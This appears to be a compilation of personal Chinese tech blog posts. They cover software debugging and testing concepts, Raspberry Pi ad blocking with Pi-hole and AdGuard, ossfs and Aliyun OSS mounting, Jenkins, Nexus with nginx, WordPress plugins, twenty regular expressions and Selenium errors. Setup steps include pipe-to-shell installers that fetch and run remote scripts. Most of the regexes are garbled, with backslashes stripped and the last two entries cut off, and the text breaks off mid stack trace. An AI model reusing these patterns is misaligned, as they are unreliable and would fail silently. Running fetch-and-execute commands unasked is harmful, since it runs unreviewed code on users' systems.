(4)收集出错的信息,列出数据,包括输入,输出,归纳整理,发现规律,从线索除法,寻找线索之间的联系。也就意味着:从特殊到一般。归纳调试的步骤可以概括为以下一个图 3、跟踪回朔 在小程序中常用的一种有效的调试方法,一旦发现了错误,人们先分析错误的征兆,确定最先发现“症状“的位置然后,人工沿程序的控制流程,向回追踪源程序代码,直到找到错误根源或确定错误产生的范围,例如,程序中发现错误处是某个打印语句,通过输出值可推断程序在这一点上变量的值,再从这一点出发,回溯程序的执行过程,反复思考:“如果程序在这一点上的状态(变量的值)是这样,那么程序在上一点的状态一定是这样···“直到找到错误所在。 在软件开发通常采用基线与版本管理。 基线为 程序代码开发提供统一的开发基点,基线的建立有助 于分清楚各个阶段存在的问题,便于对缺陷问题定位。 软件版本在软件产品的开发过程中生成了一个版本 树。 软件产品实际上是某个软件版本,新产品的开发 通常是在某个软件版本的基础上进行开发。 (1)开发过程中发现有问题,可以回退至版本树上的稳定版本,查找问题根源。 (2)通过基线版本序列可以追踪产品的各种问 题,可以重新建立基于某个版本的配置,可以重现软件 开发过程中的软件缺陷和各种问题,进行定位并查找 问题根源。 4、增量调试 软件开发大多采用软件配置管理和持续集成 技术。 开发人员每天将评代码提交到版本库。 持续集 成人员完成集成构建工作。 可以通过控制持续集成的 粒度(构建时间间隔),控制开发人员提交到版本库的 程序代码量,从而便于对缺陷问题定位。 通常每天晚 上进行持续集成工作,发现问题时,开发人员实际上只需要调试处理当天编写的代码。 5、写出能重现问题的最短代码 采用程序切片和插桩技术写出能重现问题的最短 代码调试软件模块。 (1)程序切片程序切片是通过在特定位置消除那些不影响表达 式计算的所有语句,把程序减少到最小化形式,并仍能 产生给定的行为。 使用切片技术,可以把一个规模较 大并且较复杂的软件模块转换成多个切片程序。 这些 切片程序相对原来的程序,简单并且易于调试和测试。 (2)程序插桩程序插桩方法是在被测程序中插入某些语句或者 程序段来获取各种信息。 通过这些信息进一步了解执 行过程中程序的一些动态特性。 一个软件组件的独立 调试和测试需要采用插桩技术,该组件调用或运行需 要桩模块。 在软件模块的调试过程中程序切片和程序插桩可 以结合起来使用。 6、日志追踪技术 日志是一种记录机制,软件模块持续集成构建过 程中,日志文件记录了有用信息。 若构建失败,通过查 看日志文件,将信息反馈给相关人员进行软件调试。 7、调试和测试融合的技术 (1)测试驱动开发 测试驱动开发是一种不同于传统软件开发流程的 开发方法。 在编写某个功能的代码之前先编写测试代 码,然后编写测试通过的功能代码,这有助于编写简洁 可用和高质量的代码。 (2)开发与测试融合 程序开发人员除了进行程序代码的编写,白盒测 试,也要完成基本的功能测试设计和执行。 这样有助 于程序开发人员更好地开展调试工作。 程序开发人员 可以通过交叉测试来解决测试心理学的问题(不能自 己测试自己)。 采用这种模式测试人员的数量会减少,专业的测 试人员去做其他复杂的测试工作。 研发中的很多低级 缺陷会尽早在开发过程中被发现,从而减少缺陷后期 发现的成本。 8、强行排错 这种调试方法目前使用较多,效率较低,它不需要过多的思考,比较省脑筋。例如: (1)通过内存全部打印来调试,在这大量的数据中寻找出错的位置。 (2)在程序特定位置设置打印语句,把打印语句插在出错的源程序的各个关键变量改变部位,重要分支部位,子程序调用部位,跟踪程序的执行,监视重要变量的变化 (3)自动调用工具,利用某些程序语言的调试功能或专门的交互式调试工具,分析程序的动态过程,而不必修改程序。 应用以上任一种方法之前,都应当对错误的征兆进行全面彻底的分析,得出对出错位置及错误性质的推测,再使用一种适当的调试方法来检验推测的正确性。 9、演绎法调试 演绎法是一种从一般原理或前提出发,经过排除和精华的过程来推导出结论的思考方法,演绎法排错是测试人员首先根据已有的测试用例,设想及枚举出所有可能出错的原因作为假设,然后再用原始测试数据或新的测试,从中逐个排除不可能正确的假设,最后,再用测试数据验证余下的假设确是出错的原因。 (1) 列举所有可能出错原因的假设,把所有可能的错误原因列成表,通过它们,可以组织,分析现有数据 (2) 利用已有的测试数据,排除不正确的假设 仔细分析已有的数据,寻找矛盾,力求排除前一步列出所有原因,如果所有原因都被排除了,则需要补充一些数据(测试用例),以建立新的假设。 (3)改进余下的假设 利用已知的线索,进一步改进余下的假设,使之更具体化,以便可以精确地确定出错位置 (4)证明余下的假设 软件测试的一般原则中有一概率性的现象称之为群集现象 是指80%的错误集中在20%的程序模块 考察测试用例的重要性的5个方面 1)有效性 2)可重用行 3)易组织性 4)可评估行 缺陷的分类 1)文档缺陷 2)代码缺陷 3)测试缺陷 4)过程缺陷 典型的测试设计活动包括(1)(2)(3)和稳定的桩 1)测试用例设计 2)测试过程设计 3)设计驱动程序 依据软件系统的生命周去和其他阶段,(1)划分为(2)(3) 1)软件质量度量 2)软件过程度量 3)软件产品度量 测试过程中(1)用于描述测试的整体方案,(2)描述依据测试案例找出问题 1)测试计划 2)缺陷报告 确定了黑盒测试策略后,优先选用的方法是 等价类划分 自顶向下测试+自底向上测试 自顶向下测试:是从程序的初始模块开始测试。 (1)该方***在早期发现顶层的错误。 (2)早期的程序框架可以进行演示 (3)需要开发桩模块辅助测试。有些甚至需要多个桩模块辅助,加大了桩模块本来的错误影响。 (4)测试完一个上层模块后,挑选哪个模块作为下一个测试模块,以及测试的顺序没有唯一的界定标准。 优点:较早地验证了主要控制和判断点;按深度优先可以首先实现和验证一个完整的软件功能;功能较早证实,带来信心;只需一个驱动,减少驱动器开发的费用;支持故障隔离。 缺点:柱的开发量大;底层验证被推迟;底层组件测试不充分。 自底向上测试:是从程序的底层模块开始测试。 (1)I/O操作可以提前测试,更好提交测试用例。 (2)测试后比较容易观察输出。 (3)需要开发驱动模块。 (4)直到最后一个模块提交,程序才能完整的系统测试。 优点:对底层组件行为较早验证;工作最初可以并行集成,比自顶向下效率高;减少了桩的工作量;支持故障隔离。 缺点:驱动的开发工作量大;对高层的验证被推迟,设计上的错误不能被及时发现。 白盒测试+黑盒测试 白盒测试: 逻辑覆盖发法,主要包括语句覆盖、判断覆盖、条件覆盖、判断条件覆盖、条件组合覆盖、路径覆盖 黑盒测试: 等价类划分法、边界值分析法、因果图法、错误推测法、综合策略、正交分析法,用于软件的确认测试 ### SSH连接群晖DS218+/224+ 1)打开控制面板 2)开启admin账号 路径用户账号(登录群晖的账号登录),选择admin编辑 3)开启SSH 4)用admin账号登陆ssh 5)使用root权限 只需要在命令行前加sudo -i ### 阿里云免费申请域名证书(https) ### 群晖docker安装jenkins 1)搜索jenkins,并安装 2)启动jenkins 并进行高级设置 1、开启启用自动重新启动 2、创建桌面快捷方式,并选择网页 3、端口设置,TCP设置为82 备注:本地82的本地端口也需要设置,不然会访问出问题 4、点击应用 ### 小米喷墨打印机颜色打印不出来的原因 1)原因一 打印头上方的输液管断了 2)原因二   ### 大疆MAVIC Air 调整摄像头向上向下拍摄角度 遥控器左上角(红色按键后面),遥控器后面有个滑轮,波动滑轮就可以设置摄像头向上向下的角度。 ### jeep-自由侠 米其林轮胎Michelin轮胎 215/60R17 96H 浩悦四代 PRIMACY 4 之前的自由侠德国马牌(Continental) 轮胎/汽车轮胎 215/60R17 96H LX2 轮胎侧面有破损,总觉得不安全就更换了米其林。 马牌 米其林 感觉静音有点效果,但是效果不明显。 60以下几乎没声音,60以上跟马牌轮胎一样。 高速100以上有点飘,像是有横风的感觉。 其他跟马牌轮胎没什么区别。 开了1000公里。 使用上还是挺舒服的,低速基本上无声音。 没之前那种硬邦邦的感觉。 ### 小米喷墨打印机颜色打印不出来可能原因之一 https://www.saiita.com.cn/801.html ### 树莓派安装AdGuard Home屏蔽广告 一、安装 访问:https://github.com/AdguardTeam/AdGuardHome/releases 下载安装文件 进入AdGuardHome文件目录 ./AdGuardHome 结果 root@saiita-desktop:/home/saiita/AdGuardHome# ./AdGuardHome 2020/04/17 20:42:58 [error] Couldn't read config file /home/saiita/AdGuardHome/AdGuardHome.yaml: open /home/saiita/AdGuardHome/AdGuardHome.yaml: no such file or directory 2020/04/17 20:42:58 [info] AdGuard Home, version v0.101.0, channel release , arch linux arm64 v6%!(EXTRA string=6) 2020/04/17 20:42:58 [info] This is the first launch of AdGuard Home, redirecting everything to /install.html 2020/04/17 20:42:58 [info] AdGuard Home is available on the following addresses: 2020/04/17 20:42:58 [info] Go to http://127.0.0.1:3000 2020/04/17 20:42:58 [info] Go to http://192.168.31.242:3000 2020/04/17 20:43:13 [info] command /bin/grep has failed: exit status 1 code:1 二、配置 登陆http://192.168.31.242:3000, 三、添加过滤器规则 国内: Yhosts: https://github.com/vokins/yhosts neohosts: https://github.com/neoFelhz/neohosts 国外: StevenBlack https://github.com/StevenBlack/hosts 过滤效果 ### 树莓派+Homebriage+米家智能产品搭建Siri智能家居 一、安装Homebriage 安装Avahi和相关依赖: sudo apt-get install libavahi-compat-libdnssd-de 安装HomeBridge和相关依赖软件包: sudo npm install -g --unsafe-perm homebridge 安装homebridge 的小米插件homebridge-aqara: sudo npm install -g homebridge-aqara 二、配置 Homebriage /usr/local/lib/node_modules/homebridge { "bridge": { "name": "Homebridge", "username": "CC:22:3D:E3:CE:30", "port": 51826, "pin": "031-45-154" }, "platforms": [ { "platform": "AqaraPlatform", "sid": [""], "password": [""] }] } 三、启动Homebriage homebridge 四、配置家庭应用 使用苹果手机扫描二维码 ### 树莓派上阿里云物联网 一、访问阿里云物联网平台 二、点击快速连接设备 连接设备需要安装node和npm 三、下载SDK 四、运行start.sh 五、阿里云物联网点击完成 ### Ubuntu安装netdata系统监控 安装代码 bash <(curl -Ss https://my-netdata.io/kickstart.sh) 等程序安装完,访问netdata的web页面 http://IP:19999 开启netdata systemctl enable netdata 启动netdata systemctl start netdata ### Pi-hole添加国内屏蔽规则 把下面的网速输入Pi-hole的Network,保存并更新 https://gitee.com/privacy-protection-tools/anti-ad/raw/master/domains.txt ### 闲置的树莓派3B安装Pi-hole,屏蔽广告 树莓派安装的是Ubuntu系统 一、安装Pi-hole curl -sSL https://install.pi-hole.net | bash 或者 git clone --depth 1 https://github.com/pi-hole/pi-hole.git Pi-hole cd Pi-hole/automated install/ bash basic-install.sh 二、登陆Pi-hole后台 http://ip:port>/admin 三、路由器设置DNS 路由器DNS设置手动,输入树莓派 的IP地址 四、Pi-hole设置 五、设置国内的Blocklists https://share.is26.com/subscribe/adblock.hosts 然后保存并更新 说明:能屏蔽大部分广告,少部分广告还是不能屏蔽 六、其他 1)查看Pi-hole状态 pihole -c 2)Pi-hole更新 pihole -up 3) Pi-hole 卸载 pihole uninstall 分别输入Y和N ### 小米mesh路由器WiFi断网原因二(可能) 1)组网方式不对,小米mesh路由器只能是主mesh路由器连接有网络的网线,子路由通过交换机连接主路由 不能是通过能连接互联网的网线直接连接子mesh路由器 否则可能出现断网情况。有WiFi,无网络连接 2)跟上面的情况一样,上面是有线,还有一种情况是无线。 之前有旧的路由器,不想仍了,我就开着跟小米mesh路由器一样的WiFi名称。这种情况也会导致小米mesh路由器出现断网情况。 有WiFi,但提示无网络连接,连接不上WiFi,或者断网。 只要把其他路由器的WiFi名称修改跟mesh路由器不一样的WiFi名称,或者关了路由器的WiFi,只打开小米mesh路由器。 ### 小米mesh路由器WiFi断网原因一(可能) 小米mesh组网模式(只能是主mesh路由器有线连接互联网,子mesh不能单独连接有线互联网,只能是用交换机有线连接到主mesh路由器) 其他原因: 不知道是不是因为开启了【多终端接入优先】。手机的WiFi经常断网,连接不上WiFi,提示无网络连接。 重置了mesh路由器之后,WiFi正常。 只要开启了 【多终端接入优先】 功能,就会断网,关闭后没用,只能是重置。 之前500M的宽带,主mesh路由器有线连接到电脑后,测网速是300M左右,现在能达到600M。 ### 电信光猫关闭DHCP后,重新开启DHCP 不小心关闭了光猫的DHCP后,设备连不上网络,光猫后台Web登陆不上。 解决方法是用电脑或者笔记本(设置PC的IP地址为192.168.1.X)连接光猫,然后登陆光猫后台,开启DHCP 或者找一个有dhcp服务(比如其他开启dhcp的路由器,或者是openwrt的机器)的机器登陆,然后登陆光猫进行设置 ### 小米喷墨打印机某颜色打印不出来 1)首先清理下打印头,然后用软件清理打印头,查看是否能打印出来。 2)没墨水,能打印出来得话,就换墨盒。就正常了。 3)打印头里的塑料管断了,只能申请售后 4)还有就是管子漏气了 因为外观有一点划痕,拒绝维修。也是奇葩。 ### wordpress网页设置黑白页面 需要安装wpajm,要设置样式定制,前台head代码输入下面数据 ### 树莓派系统安装工具Raspberry Pi Imager 1)下载 1671018315-imager_1.7.3.zip下载 也可以到树莓派官网上下载 2)打开 Raspberry Pi Imager 3)选择系统CHOOSE OS,选择SD卡 4)系统写入SD卡 5)也可以选择自下载的系统进行安装 ### Ossfs进程过一段时间会挂掉 使用ossfs挂载了OSS后,一段时间进程会消失。 查看日志发现是named的一个服务状态是失败,失败原因未知。 named服务和oss服务不知道是什么关系 主进程(/usr/sbin/named -u named -c /etc/named.conf) ### Ossfs设置开机启动 1)进入/etc/init.d/创建ossfs,把下面的内容复制 保存 #! /bin/bash # # ossfs Automount Aliyun OSS Bucket in the specified direcotry. # # chkconfig: 2345 90 10 # description: Activates/Deactivates ossfs configured to start at boot time. umount /www/wwwroot/owncloud/data #cd /www/wwwroot/owncloud/ #rm -rf data #mkdir data #chown -R www:www /www/wwwroot/owncloud/data ossfs your_bucket your_mountpoint -ourl=your_url,uid=1000,gid=1000,umask=007,allow_other 说明: 开启如果不卸载,直接挂载会报错 2)设置权限 chmod a+x /etc/init.d/ossfs chkconfig ossfs on ### Owncloud设置的常规,怎么跳转到了百度,这有啥关系? 400 - Request blocked by OpenRASP 您的请求包含恶意行为,已被服务器拒绝(请求ID: 3fcae40dfb5d83e1000077dd2ceff1f6) 原因 宝塔安装了 Supervisor管理器 1.2 ### owncloud 挂载OSS,设置data文件属性 ossfs my-bucket my-mount-point -ourl=my-oss-endpoint,uid=1000,gid=1000,umask=007,allow_other data文件权限需要770 ### Linux设置挂载阿里云OSS 一、Linux系统安装必要的程序 Ubuntu : sudo apt-get install automake autotools-dev g++ git libcurl4-gnutls-dev libfuse-dev libssl-dev libxml2-dev make pkg-config CentOS : sudo yum install automake gcc-c++ git libcurl-devel libxml2-devel fuse-devel make openssl-devel 二、从github下载ossfs git clone https://github.com/aliyun/ossfs.git 进入ossfs目录 cd ossfs 修改执行文件权限 chmod +x autogen.sh 安装编译 ./autogen.sh ./configure make sudo make install 三、运行 echo my-bucket:my-access-key-id:my-access-key-secret > /etc/passwd-ossfs 说明: my-bucket Bucket 名称 my-access-key-id AccessKey ID my-access-key-secret Access Key Secret 将 oss bucket mount 指定到服务器上的目录 ossfs my-bucket my-mount-point -ourl=my-oss-endpoint 说明: my-mount-point服务器上指定目录my-oss-endpointOSS概述访问域名( ECS 的经典网络访问(内网) 的 EndPoint(地域节点) ) 如果使用的是阿里云服务器,建议使用 ECS 的经典网络访问(内网) 四、 卸载bucket: umount /tmp/ossfs # root user fusermount -u /tmp/ossfs # non-root user ### Centos一次性删除文件 rm -rf 文件名 ### Centos安装Jdk 1)安装DJK yum install java 2)查看jdk版本 java -version 返回的jdk版本 openjdk version "1.8.0_242" OpenJDK Runtime Environment (build 1.8.0_242-b08) OpenJDK 64-Bit Server VM (build 25.242-b08, mixed mode) ### Centos搭建私有Maven 一、下载nexus 百度网盘: 链接:https://pan.baidu.com/s/1Gfl0HPg9ASBVij5c37BmUA 提取码:huor 二、上传latest-unix.tar文件到/usr/local 三、给nexus文件创建用户和权限 chwon -R nexus:nexus nexus-3.22.0-02 四、启动nexus,进入bin目录 ./nexus start 五、宝塔配置nginx server { listen 80; listen [::]:80; server_name nexus.saiita.com.cn; index index.php index.html index.htm default.php default.htm default.html; root /www/wwwroot/nexus.saiita.com.cn; #SSL-START SSL相关配置,请勿删除或修改下一行带注释的404规则 #error_page 404/404.html; #SSL-END #ERROR-PAGE-START 错误页配置,可以注释、删除或修改 #error_page 404 /404.html; #error_page 502 /502.html; #ERROR-PAGE-END #PHP-INFO-START PHP引用配置,可以注释或修改 include enable-php-72.conf; #PHP-INFO-END location /{ proxy_pass http://0.0.0.0:8081/; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } #REWRITE-START URL重写规则引用,修改后将导致面板设置的伪静态规则失效 include /www/server/panel/vhost/rewrite/nexus.saiita.com.cn.conf; #REWRITE-END #禁止访问的文件或目录 location ~ ^/(.user.ini|.htaccess|.git|.svn|.project|LICENSE|README.md) { return 404; } #一键申请SSL证书验证目录相关设置 location ~ .well-known{ allow all; } access_log /www/wwwlogs/nexus.saiita.com.cn.log; error_log /www/wwwlogs/nexus.saiita.com.cn.error.log; } 六:访问nexus ### Eclipse+Maven环境搭建 安装Maven之前要配置好JDK 一、下载Maven的jar包 本地下载: 1585485996-apache-maven-3.6.3-bin下载 二、Windows 系统环境变量配置 新建系统变量名: MAVEN_HOME 值为maven的目录  Path中追加:%MAVEN_HOME%bin; cmd输入:mvn -v 验证是否配置成功 三、配置仓库 编辑mavenconfsetting.xml nexus-aliyun * Nexus aliyun http://maven.aliyun.com/nexus/content/groups/public 四、eclipse配置maven 1) preferences-->Maven-->installations-->add  ,选择下载的maven目录 2)User Setting配置 settings.xml 文件 五、项目导入maven 未完成 ### 小米Mesh路由器-最智障的Mesh路由器 1)只能是一个Mesh主路由器,然后子路由器之间进行有线组网。并不能随便更换主路由器。 2) 小米Mesh路由器不支持直接外网网线。 还要把主路由器放在弱电箱内,占地方,还浪费一个路由器,浪费有网线接口房间。 3)只能支持2.4G,5G,电线进行回路。网线组网是奢侈。 4)50M宽带接入主路由器,主Mesh路由器下载宽带居然只有30M。 5)子Mesh路由器下面的PC端,下载速度居然只有10M,用有线连接的,特么什么垃圾Mesh路由器。直接连电信猫下载速度有60M。 7)扩展Mesh路由器,经常连接不上蓝牙。 8)设备经常断网。 最后小米Mesh路由器只能适合,没有网线,只有电线的老房子。 ### Autumn-Pro主题-设置海报功能(阿里云OSS) 1)进入后台的Autumn→基础设置→文章海报 勾上:勾选后开启,不勾选则不显示文章海报 2)设置阿里云OSS跨域(权限管理→跨域设置) 参数值来源* 允许 Methods GET 允许 Headers * 暴露 Headers 空 缓存时间(秒) 0 返回 Vary: Origin 默认 3)设置WPJAM→CDN加速的CDN域名 CDN域名要设置bucket概览页面显示的bucket的外网访问域名 ### Autumn Pro主题首页添加分类 进入后台的Autumn→基础设置→分类模块的填写分类ID 如何查看分类ID 第一步:进入文章的分类目录,按F12 第二部:查看分类ID 获取到的ID填入 登陆首页查看效果 ### 解决Word试图打开文件是遇到错误 解决方法: 【文件】→【选项】→【信任中心】→【Microsoft Word 信任中心】→【信任中心设置】→【受保护的视图】→取消【为来自Internet的文件启用受保护的视图】 ### WJAPM插件 与 Event Timeline Feed插件冲突 WJAPM插件在扩展管理勾上下面的选项后,Event Timeline Feed插件不能创建事件。创建的事件后,是时间轴,不是事件,复制到代码页面和文章时间轴不显示事件 1)文章类型转换器,可以将文章在多种文章类型中进行转换。 2)在后台文章列表,让快速编辑支持编辑文章摘要。 ### Wordpress 时间轴插件-Event Timeline Feed Event Timeline Feed插件可以根据事件串联事件,很好展示不同的事件。 末页有下载地址 主要有4种不同风格的时间轴 使用方法: 1)进入Timeline Feed的All Timelines,点击Add New Timeline。或者直接点击 Timeline Feed的 Add New Timeline 2)选择时间轴风格 3)添加事件轴的事件 4)点击发布 5)复制Event Timeline Feed代码 6)把代码复制到文章,或者是页面,发布后就可以显示时间轴 ### 这20个正则表达式,让你少写1,000行代码 正则表达式——古老而又强大的文本处理工具。仅用一段简短的表达式语句,就能快速地实现一个复杂的业务逻辑。掌握正则表达式,让你的开发效率有一个质的飞跃。 正则表达式经常被用于字段或任意字符串的校验,比如下面这段校验基本日期格式的JavaScript代码:var reg = /^(d{1,4})(-|/)(d{1,2})2(d{1,2})$/; var r = fieldValue.match(reg);             if(r==null)alert('Date format error!'); 1、校验密码强度 密码的强度必须包含大小写字母和数字的组合,不能使用特殊字符,长度在8-10之间 ^(?=.*d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$ 2、校验中文 字符串只能是中文 ^[u4e00-u9fa5]{0,}$ 3、由数字,26个英文字母或下划线组成的字符串 ^w+$ 4、校验E-Mail 地址 [w!#$%&'*+/=?^_`{|}~-]+(?:.[w!#$%&'*+/=?^_`{|}~-]+)*@(?:[w](?:[w-]*[w])?.)+[w](?:[w-]*[w])? 5、校验身份证号码 15位: ^[1-9]d{7}((0d)|(1[0-2]))(([0|1|2]d)|3[0-1])d{3}$ 18位: ^[1-9]d{5}[1-9]d{3}((0d)|(1[0-2]))(([0|1|2]d)|3[0-1])d{3}([0-9]|X)$ 6、校验日期 “yyyy-mm-dd“ 格式的日期校验,已考虑平闰年 ^(?:(?!0000)[0-9]{4}-(?:(?:0[1-9]|1[0-2])-(?:0[1-9]|1[0-9]|2[0-8])|(?:0[13-9]|1[0-2])-(?:29|30)|(?:0[13578]|1[02])-31)|(?:[0-9]{2}(?:0[48]|[2468][048]|[13579][26])|(?:0[48]|[2468][048]|[13579][26])00)-02-29)$ 7、校验金额 金额校验,精确到2位小数 ^[0-9]+(.[0-9]{2})?$ 8、校验手机号 下面是国内 13、15、18开头的手机号正则表达式 ^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])d{8}$ 9、判断IE的版本 ^.*MSIE [5-8](?:.[0-9]+)?(?!.*Trident/[5-9].0).*$ 10、校验IP-v4地址 b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)b 11、校验IP-v6地址 (([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])) 12、检查URL的前缀 if (!s.match(/^[a-zA-Z]+:///)){ s = 'http://' + s;} 13、提取URL链接 ^(f|ht){1}(tp|tps)://([w-]+.)+[w-]+(/[w- ./?%&=]*)? 14、文件路径及扩展名校验 ^([a-zA-Z]:|)([^]+)*[^/:*?"<>|]+.txt(l)?$ 15、提取Color Hex  Codes ^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$ 16、提取网页图片 < *[img][^>]*[src] *= *["']{0,1}([^"' >]*) 17、提取页面超链接 (]*)(href="https?://)((?!(?:(?:www.)?'.implode('|(?:www.)?', $follow_list).'))[^"]+)"((?!.*brel=)[^>]*)(?:[^>]*)> 18、查找CSS属性 ^s*[a-zA-Z-]+s*[:]{1}s[a-zA-Z0-9s.#]+[;]{1} 19、抽取注释 20、匹配HTML标签 s]+))?)+s*|s*)/?> ### MELANCHOLY - White Cherry 不难,不做,永远不成。 MELANCHOLY - White Cherry ### 解决Owncloud报:一些文件没有通过完整性检查。如何解决此问题的详细信息可以查看我们的 文档. (无效文件列表… / 重新扫描…) 问题 1)首先进入owncloud常规,点击无效文件列表 会显示那些文件是无效的 Technical information ===================== The following list covers which files have failed the integrity check. Please read the previous linked documentation to learn more about the errors and how to fix them. Results ======= - core - FILE_MISSING - .htaccess - .user.ini - EXTRA_FILE - 404.html Raw output ========== Array ( [core] => Array ( [FILE_MISSING] => Array ( [.htaccess] => Array ( [expected] => 8358d66ad800989d6c9949b655f12f9e2582f749374dd4ba763d7f9e9f8be0e05e034fdac11986687fcd99b30a1ecdd43ebabdad5fd6cf7e253e0add32065042 [current] => ) [.user.ini] => Array ( [expected] => 0a557e3cdca4c2e3675deed761d79d109011dcdebbd9c7f6429f1d3476938ec95729543d7384651d1d0c48e26c5024cc5f517445920915a704ea748bdb903c5f [current] => ) ) [EXTRA_FILE] => Array ( [404.html] => Array ( [expected] => [current] => c455d00381bde372d6016e7b01eb8682dcbc2fbb032ef522f01f0ea1cd85abeb962aeb8de621b49b138b614b14285686a2c432b4214630f23fda2ed19bf4b9d6 ) ) ) ) 通过无效信息可以得出.htaccess,.user.ini,404.html这三个文件是无效的 2)解决方法 删除 .htaccess,.user.ini,404.html 三个文件,然后从owncloud下载文件,解压后把 .htaccess,.user.ini 上传到网站根目录 ### Erphpdown插件设置个人中心页面 把page-erphpdown-user.php放在主题文件夹的根目录 进入后台的页面添加页面,选择目标Erphpdown个人中心 进入外观菜单,选择刚创建的页面,点击保存 erphpdown 个人中心页面 page-erphpdown-user.php下载地址 ❗ 【如果使用的是modown、monster8、Qie主题,请忽略本说明】 将page-erphpdown-user.php文件添加进你目前使用的主题目录里: 比如使用的主题是Monews目录,那么将page-erphpdown-user.php文件放到Monews文件夹里,然后进网站后台新建页面,选【erphpdown个人中心】页面模板,此时这个页面就是前端用户中心。 使用前端文件需网站使用jquery并加载于头部(一般网站都会加载jquery),伪静态固定链接(网站后台 设置 - 固定链接 ,不要选择第一个) 注意:此前端页面为购买Erphpdown插件赠送的页面文件,目的在于给客户提供一个前端接口,客户可根据自己的主题风格适当的美化适配。若需模板兔定制前端用户中心,另收费~ ### WPJAM插件配置发信设置 已QQ邮箱为例 1)进入QQ邮箱设置→账号→ POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务 2)开启QQ邮箱 POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务 邮箱密码不是QQ登陆密码,而是申请的授权码 3)登陆wordpress后台进入发信设置,填入参数,然后进行发生测试 4)相关邮箱stmp配置参数 ### Erphpdown查看付费插件 1)Erphpdown插件介绍 收费下载与查看 支持收费下载资源或查看隐藏内容 在线支付 官方支付宝、微信支付、Paypal支付、网银支付以及其他第三方个人支付接口 VIP权限 用户可升级成为VIP(包月、包年等),管理员发布资源时可选择VIP免费或折扣 前端个人中心 赠送一个前端个人中心页面,用户无需进网站后台即可完成充值、购买、下载等操作 myCred插件积分兑换 myCred积分兑换站内虚拟货币来进行购买 用户推广提成与提现 用户A推广用户B消费,A可获得提成,可站内提现 内链下载路径加密 如果下载文件在本地网站服务器上,可加密下载路径,保护真实路径 充值卡充值 如果你没有支付接口,可生成充值卡号卡密在第三方发卡平台售卖充值卡,用户购买充值卡后在网站里充值 短代码 前端个人中心的每个功能都可用短代码嵌入到您的自定义页面里 二次开发 插件代码完全开源,可进行二次开发 售后支持 购买后一年内可提交工单享受周到的售后服务 插件官网 ### Selenium调用谷歌浏览器 ### Selenium调用火狐浏览器 System.setProperty("webdriver.gecko.driver", "G:Program Files (x86)Mozilla Firefoxfirefox.exe"); FirefoxDriver fox =new FirefoxDriver(); ### Selenium调用IE浏览器 import org.openqa.selenium.ie.InternetExplorerDriver; public class Test { public static void main(String[] args) { //IE System.setProperty("webdriver.ie.driver", "src/IEDriverServer_32.exe"); InternetExplorerDriver driver =new InternetExplorerDriver(); } } ### 解决Selenium+eclips报:Unexpected error launching Internet Explorer. IELaunchURL() returned HRESULT 80070002 ('系统找不到指定的文件。') Started InternetExplorerDriver server (64-bit) 3.141.59.0 Listening on port 30861 Only local connections are allowed Exception in thread "main" org.openqa.selenium.SessionNotCreatedException: Unexpected error launching Internet Explorer. IELaunchURL() returned HRESULT 80070002 ('系统找不到指定的文件。') for URL 'http://localhost:30861/' Build info: version: '3.141.59', revision: 'e82be7d358', time: '2018-11-14T08:25:48' System info: host: 'DESKTOP-1UQSF4U', ip: '192.168.1.21', os.name: 'Windows 10', os.arch: 'amd64', os.version: '10.0', java.version: '13.0.2' Driver info: driver.version: InternetExplorerDriver remote stacktrace: at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481) at org.openqa.selenium.remote.W3CHandshakeResponse.lambda$errorHandler$0(W3CHandshakeResponse.java:62) at org.openqa.selenium.remote.HandshakeResponse.lambda$getResponseFunction$0(HandshakeResponse.java:30) at org.openqa.selenium.remote.ProtocolHandshake.lambda$createSession$0(ProtocolHandshake.java:126) at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:195) at java.base/java.util.Spliterators$ArraySpliterator.tryAdvance(Spliterators.java:958) at java.base/java.util.stream.ReferencePipeline.forEachWithCancel(ReferencePipeline.java:127) at java.base/java.util.stream.AbstractPipeline.copyIntoWithCancel(AbstractPipeline.java:502) at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:488) at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:474) at java.base/java.util.stream.FindOps$FindOp.evaluateSequential(FindOps.java:150) at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234) at 